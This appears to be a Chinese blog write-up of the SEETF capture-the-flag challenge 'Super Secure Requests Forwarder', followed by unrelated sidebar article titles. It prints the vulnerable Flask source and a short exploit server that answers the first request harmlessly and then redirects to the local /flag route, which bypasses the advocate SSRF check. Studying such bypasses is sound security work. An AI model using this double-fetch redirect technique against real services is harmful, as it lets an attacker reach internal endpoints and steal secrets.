当前位置:网站首页>[SEETF]Super Secure Requests Forwarder
[SEETF]Super Secure Requests Forwarder
2022-06-09 15:45:00 【k_du1t】
0x00 前言
闲来无事打打 发现自己菜到家了
0x01 brain.md
from flask import Flask, request, render_template
import os
import advocate
import requests
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
url = request.form['url']
# Prevent SSRF
try:
advocate.get(url)
except:
return render_template('index.html', error=f"The URL you entered is dangerous and not allowed.")
r = requests.get(url)
return render_template('index.html', result=r.text)
return render_template('index.html')
@app.route('/flag')
def flag():
if request.remote_addr == '127.0.0.1':
return render_template('flag.html', FLAG=os.environ.get("FLAG"))
else:
return render_template('forbidden.html'), 403
if __name__ == '__main__':
app.run(host="0.0.0.0", port=80, threaded=True)
advocate库还是第一次见 google一下就是防ssrf的库
天真地把自己知道的所有姿势都fuzz了一遍
无一例外地被拦下了
看了一下exp恍然大悟
exp.py
from flask import Flask, redirect
app = Flask(__name__)
i = 0
@app.route('/')
def index():
global i
if i == 0:
i += 1
return 'Nothing to see here'
else:
return redirect('http://localhost/flag')
if __name__ == '__main__':
app.run(host="0.0.0.0", port=80, threaded=True)
evil_server再接受请求时能返回不同的结果
再回头看看源码 (果然还是不够细~
验证机制中看到 只有第一次try时使用了advocate
下面就直接 r=requests.get(url) 了
那么服务器第一次和第二次返回不同的结果就直接bypass了

0x02 rethink
最近忙着期末 遗失了之前沉浸思考的状态了
希望今天是个转折 后续还能有些高质量输出
这篇确实太水了
边栏推荐
- 五月集训(第29天) —— 分而治之
- 开始使用 Dapr
- 资深OpenStacker - 彭博、Vexxhost升级为OpenInfra基金会黄金成员
- 内存数据库究竟是如何发挥内存优势的?
- 低代码分析盘点:银行业低代码应用需要规避两大误区
- 六月集训(第03天) —— 排序
- How does the memory database give full play to its memory advantage?
- QScrollArea使用教程之实现可上下滑动的设置界面
- The demand for data storage is increasingly diversified, and it is a general trend to divide and conquer
- Technology - middle stage
猜你喜欢
随机推荐
数据安全刻不容缓,国产智能化厂商首获SOC 2鉴证报告有何意义?
低代码分析盘点:银行业低代码应用需要规避两大误区
nth-child选择器
五月集训(第26天) —— 并查集
五月集训(第23天) —— 字典树
ps如何把字体导入
直播预告 | 社交新纪元,共探元宇宙社交新体验
面试官问我一条update语句加了多少锁?我总结了全套八股文
LeetCode 6076. Represents the minimum number of line segments of a line graph
微信小程序 思维导图
618的省钱技术攻略 来啦 -体验场景 领取10元猫超卡!
LeetCode 6076. 表示一个折线图的最少线段数
Numpy库的学习
今日睡眠质量记录82分
R语言使用aov函数进行双因素方差分析(Two-way factorial ANOVA)、gplots包的plotmeans函数在双因素方差分析中显示交互作用、包括均值,误差条、95%置信区间、样本量
Dapr 源码解析 | 项目总览
QScrollArea使用教程之实现可上下滑动的设置界面
dotnet core 发布只带必要的依赖文件
WPS how to unhide cell worksheets
Consul learning









